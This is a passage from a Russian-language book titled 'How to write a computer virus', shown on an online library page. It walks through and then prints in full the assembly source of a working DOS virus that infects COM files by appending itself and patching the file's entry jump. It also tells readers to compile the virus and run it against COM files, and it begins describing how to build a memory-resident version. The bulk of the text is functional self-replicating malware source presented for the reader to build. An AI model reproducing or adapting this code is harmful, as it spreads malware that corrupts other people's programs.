Купить
 
 
Жанр: Учеба

Как написать компьютерный вирус

страница №2

аммы до целого числа параг-
рафов в большую сторону .Например,пусть файл имеет
длину 401 байт .Тогда вирус запишет в DI значение
416 ( 25 целых параграфов, и еще один байт даст
округленное значение 416 ).В " new_bytes " запише-
тся число : 416 - 3 = 413, а в " add_to_ds " будет
помещено значение : 26 - 1 = 25 .
Чтобы лучше понять работу фрагмента,рекомендую вам
посмотреть пункт 1.6 . И еще - подумайте, за-
чем нужна команда " dec ax " .Надеюсь,вы без труда
в этом разберетесь !

1.12 Проверяем файл на зараженность

Мы, кажется, слишком увлеклись работой и не заме-
тили одной очень важной детали.Ведь может случить-
ся, что найденный нами файл уже заражен предлагае-
мым вирусом, а мы об этом даже не догадываемся !
Поэтому наш вирус заразит эту программу еще раз .В
принципе,количество заражений ничем не ограничено.
Программа будет расти, пока не достигнет размера
более 65535 байт, а после этого перестанет рабо-
тать.Чтобы такого не произошло, введем проверку на
зараженность .Например, в конец каждого заражаемо-
го файла будем записывать цифру " 7 ", а при за-
ражении проверять ее наличие .
Итак :

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...

Можно, конечно,провести более совершенную проверку
зараженности,нашей же целью было просто показать,
как защитить файлы от повторного заражения .Чита-
тель при желании сам легко внесет необходимые из-
менения в создаваемую программу .

1.13 Заражаем COM - программу

Наконец, подходящий для заражения COM - файл най-
ден . Он еще не заражен нашим вирусом и имеет при-
емлемый размер . Поэтому самое время заняться за-
ражением .Этот процесс описан в 1.3 ( см. п.3 и
п.4 ) .Здесь мы только его реализуем :

write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
;закроем файл

mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...

При записи первых трех байт в файл помещается ко-
манда перехода на код вируса. Все остальное можно
понять из приведенных комментариев .

1.14 Восстанавливаем DTA

Для корректной работы зараженной программы восста-
новим ее DTA .Напомним,что вирус " прячет " ее в
массиве " old_dta ".
Поэтому :

restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз

1.15 Передаем управление зараженной программе

Работа вируса окончена . Теперь он должен отдать
управление программе - носителю.Как мы выяснили,
для этой цели достаточно выполнить переход на ад-
рес CS : 100h . Поэтому занесем в стек содержимое
CS,и затем - число 100h.А после этого выполним ко-
манду RET FAR .Она снимет с вершины стека запи-
санные туда значения и передаст управление по оп-
ределяемому ими адресу :

pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...

1.16 Область данных вирусной программы

Настало время привести данные, которыми оперирует
наш вирус . Вот они :

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...


last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

Как видим, данных не так уж и много !

1.17 Завершаем запускающую программу

Для завершения запускающей вирус программы мы ис-
пользуем стандартную функцию DOS, а именно - 4Ch :

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...

db '7' ;Без этого сим-
;вола вирус за-
;разил бы сам
;себя ...

prg ends ;Все ASM - прог-
end start ;раммы заканчи-
;ваются примерно
;так .

Вы, наверное, заметили,что в запускающей программе
при восстановлении первых трех байт по адресу CS :
100h записывается команда перехода на метку " prg_
end ".После передачи управления на эту метку вирус
отдает управление MS DOS . Если бы в самом начале
нашего вируса не было команды "jmp vir" (см.1.6),
то запись по адресу CS : 100h перехода на метку
" prg_end " разрушила бы команды

push ax
mov ax,ds

( см.1.6 ).В результате в заражаемый файл попал бы
вирусный код с испорченными первыми байтами . Это
наверняка привело бы к полной неработоспособности
файла - жертвы .В нашем же случае будет разрушена
лишь команда " jmp vir " .Поскольку в файл она не
записывается, нас это не интересует .

1.18 Текст нерезидентного COM - вируса

Как видите, вирус написан, и пора привести его
текст.Этим мы сейчас и займемся :

; ________________________________________________
;| |
;| Non - TSR COM virus |
;| Especially for my readers ! |
;|________________________________________________|

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

start: jmp vir ;Передача управ-
;ления вирусному
;коду ...
org 110h

vir: push ds ;Сохраним DS ...
;Корректируем
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ; " ADD AX,00h "
mov ds,ax ;AX -> DS ...


fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al

mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
;байт и перено-
mov ds:[si],al ;сим его в мас-
;сив ...
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз

find_first:
mov ah,4eh ;Поиск первого
;файла ...
mov cx,00100110b ;archive, system
;hidden
lea dx,maska ;Маска для поис-
;ка
int 21h
jnc r_3 ;Нашли !
jmp restore_dta ;Ошибка !

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл...
jnc r_2
jmp restore_dta ;Файл нельзя за-
;крыть !

r_2: mov ah,4fh ;И найдем сле-
int 21h ;дующий ...
jnc r_3 ;Файл найден !
jmp restore_dta ;Ошибка !

r_3: mov cx,12 ;Сотрем в буфере
lea si,fn ;"fn" имя пред-
destroy_name: ;ыдущего файла
mov byte ptr [si],0 ;
inc si ;
loop destroy_name ;Цикл 12 раз ...

xor si,si ;И запишем в бу-
copy_name: mov al,byte ptr cs:[si+9eh]
;фер имя только
cmp al,0 ;что найденного
;файла ...
je open ;В конце имени в
mov byte ptr ds:fn[si],al
;DTA всегда сто-
inc si ;ит ноль, его мы
jmp copy_name ;и хотим достичь

open: mov ax,3d02h ;Открыть файл
;для чтения и
;записи ...
lea dx,fn ;Имя файла ...
int 21h ;Функция DOS
jnc save_bytes
jmp restore_dta ;Файл не откры-
;вается !

save_bytes: ;Считаем три
;байта :
mov bx,ax ;Сохраним дес-
;криптор в BX
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?

lea dx,old_bytes ;Буфер для счи-
;тываемых данных
int 21h
jnc found_size
jmp close ;Ошибка !

found_size:
mov ax,cs:[09ah] ;Найдем размер
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000 байт ?
jna toto ;Нет ...
jmp find_next ;Да - тогда он
;нам не подходит
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;ругленное зна-
;чение в DI ...
;Расчитаем сме-
;щение для пере-
;хода на код ви-
;руса ...
sub ax,3 ;Сама команда
;перехода зани-
;мает три байта!
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...

write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
;закроем файл

mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...

restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз

pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...

;\*Data area ...

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы

old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...

db '7' ;Без этого сим-
;вола вирус за-
;разил бы сам
;себя ...

prg ends ;Все ASM - прог-
end start ;раммы заканчи-
;ваются примерно
;так .

Если вы когда нибудь читали [ 3 ], только что при-
веденная программа покажется вам знакомой. Строго
говоря, наш вирус написан " по мотивам " этой в
общем совсем неплохой книги. " Книжный " вирус су-
щественно переработан,исправлены замеченные ошибки
и глюки.Несмотря на это поступок автора трудно на-
звать плагиатом. Просто затронутая в работе П.Л.

Хижняка тема получила новое развитие.

1.19 Комментарии

Вирус,который мы разработали, отыскивает программы
для заражения лишь в том каталоге, из которого был
запущен зараженный файл .Понятно,что в этом случае
большой заразностью он не обладает.Но во - первых,
мы идем от простого к сложному, и следующие наши
программы будут более эффективными .А во - вторых,
эта разработка лишь преследовала цель показать ос-
новные приемы изготовления вирусных программ.Кроме
того, чрезмерная сложность наверняка отпугнула бы
читателя .

1.20 Испытание вируса

Для проверки в действии разработанной нами програ-
ммы просто скопируйте ее в отдельный файл ( коне-
чно, только если у вас есть дискета с текстом кни-
ги ).Далее скопируйте в каталог с вирусом несколь-
ко COM - файлов.Откомпилируйте исходный текст и
запустите полученный COM - файл,содержащий в себе
вирусный код.Проблем с компиляцией быть не должно,
так как программа тщательно тестировалась . По-
наблюдайте, как вирус заражает файлы .Попробуйте
запустить зараженную программу под управлением от-
ладчика и в автоматическом режиме.И, наконец, про-
верьте зараженную программу с помощью DOCTOR WEB .

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ


ВИРУСНОЙ ПРОГРАММЫ

2.1 Понятие резидентного ( TSR ) вируса

Резидентными называют вирусы, которые после запус-
ка зараженной программы помещают свой код в опера-
тивную память . Этот код "занимается" заражением
файлов и находится в памяти в течение всего сеанса
работы .
Резидентные вирусы обычно намного заразнее нерези-
дентных и распространяются быстрее .Однако создать
такой вирус не так просто . Кроме того,резидентные
вирусные программы подвержены всевозможным сбоям
и могут конфликтовать с установленным на компьюте-
ре программным обеспечением . Но несмотря на все
трудности, возникающие при разработке резидентных
вирусов, их было создано великое множество .
В предлагаемой вниманию читателей главе рассказы-
вается о приемах создания TSR - вирусов, поражаю-
щих COM - файлы .Кроме того, освещаются основные
проблемы, с которыми приходится встречаться при их
разработке .

2.2 Несколько слов о резидентных программах

Вы,наверное, знаете, как строятся резидентные про-
граммы .В этом пункте мы немного поговорим об их
организации и функционировании .
Резидентными называют программы,которые после сво-
его завершения остаются в памяти и активизируются
при наступлении каких - либо событий в вычисли-
тельной системе .Такими событиями могут быть, нап-
ример, нажатие " горячей " комбинации клавиш, вы-
полнение некоторых операций с дисками и т. п .Но в
любом случае программа получает управление при
тех или иных условиях .
Все резидентные программы строятся одинаково, или
почти одинаково, и состоят из двух секций - секции
инициализации и собственно резидентной части.Рези-
дентная часть, как правило, состоит из одной или
нескольких подпрограмм - обработчиков прерываний и
находится в памяти во время сеанса работы компью-
тера .Такие подпрограммы могут полностью подменять
собой системные обработчики или только служить их
дополнением.Естественно,для того,чтобы резидентная
часть получила управление, необходимо заменить со-
ответствующие вектора в таблице векторов прерыва-
ний на точки входа в заново установленные обработ-
чики.Эту функцию и выполняет секция инициализации,
которая всегда выполняется при запуске программы
первой .

После перехвата прерываний, которые должна обраба-
тывать резидентная часть, секция инициализации за-
вершает программу, используя для этой цели преры-
вание или функцию резидентного завершения MS DOS .
В результате резидентная часть остается в памяти и
активизируется в случаях, предусмотренных автором
программы . Часть инициализации в процессе работы
больше не потребуется,поэтому оставлять ее в памя-
ти бессмысленно, и она " затирается " MS DOS в
случае необходимости .

2.3 Алгоритм работы резидентного
COM - вируса

Рассмотрим один из возможных алгоритмов работы ре-
зидентного COM - вируса .
По своей сути резидентный вирус отличается от обы-
чной резидентной программы только тем, что он раз-
множается сам по себе, независимо от желания поль-
зователя.Значит,построить его можно по той же схе-
ме, по которой пишутся обычные TSR - программы .Но
сначала выясним,что должны делать секция инициали-
зации вируса и его резидентная часть .
Итак :
Секция инициализации выполняет следующие действия:

1. Получает управление при запуске зараженной про-
граммы .

2. Проверяет, установлена ли в память резидентная
часть вируса .

3. Восстанавливает в памяти компьютера исходные
три байта этой программы .

4. Если резидентная часть не установлена,выполняю-
тся следующие действия :

a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .

б.) Код вируса копируется в найденный блок па-
мяти .

в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .

г.) Выполняется переход на начало зараженной
программы ( на адрес CS : 100h ).После это-
го программа выполняется, как обычно .

В том случае, если резидентная часть вируса уже
находится в памяти, он просто передает управление
зараженной программе .

Резидентная часть выполняет следующие действия :

1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .

2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :

а.) Сохранить исходное состояние вычислительной
системы .

б.) Найти на диске подходящий COM - файл .

в.) Записать тело вируса в конец этого файла .

г.) Заменить первые три байта заражаемой про-
граммы командой перехода на вирусный код,
сохранив предварительно исходные три байта
в своей области данных.


д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .

Если оператор не будет менять текущий католог или
диск, вирус, очевидно, ничего заразить не сможет .

Как вы уже заметили, заражением файлов занимается
исключительно резидентная часть ! Секция инициали-
зации нужна только для инсталляции вируса в па-
мять .Кроме того, в отличие от обычной резидентной
программы, в вирусе эта секция записывается в па-
мять вместе с резидентной частью . Иначе при за-
писи ее в заражаемый файл возникли бы серьезные
трудности .
Из рассказанного в этом пункте легко сделать вы-
вод о том, насколько резидентный вирус должен быть
устроен сложнее обычного .Вместе с тем, в его на-
писании нет ничего магического, и вы без труда
разберетесь в следующей программе .

2.4 Заголовок вируса

Для разработки вируса мы, как и раньше, будем ис-
пользовать COM формат .
Естественно,в резидентном вирусе будут использова-
ны некоторые блоки, созданные нами в предыдущей
главе .Поэтому на их работе мы останавливаться не
будем, а вместо этого сделаем акцент на новых при-
емах, реализованных в программе .
Итак, начнем :

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h

start: jmp vir ;Передача управ-
;ления вирусному
;коду ...
org 110h

Приведенные команды и директивы выполняют те же
самые функции, что и аналогичные, использованные
нами при создании нерезидентной вирусной програм-
мы .

2.5 Вирус начинает работу

Несколько забегая вперед, отметим, что наш вирус
будет работать так :

1. Обработчик прерывания Int 21h отслеживает
смену оператором текущего каталога или дис-
ка. Если пользователь действительно сменил
диск

Список страниц

Закладка в соц.сетях

Купить

☏ Заказ рекламы: +380504468872

© Ассоциация электронных библиотек Украины

☝ Все материалы сайта (включая статьи, изображения, рекламные объявления и пр.) предназначены только для предварительного ознакомления. Все права на публикации, представленные на сайте принадлежат их законным владельцам. Просим Вас не сохранять копии информации.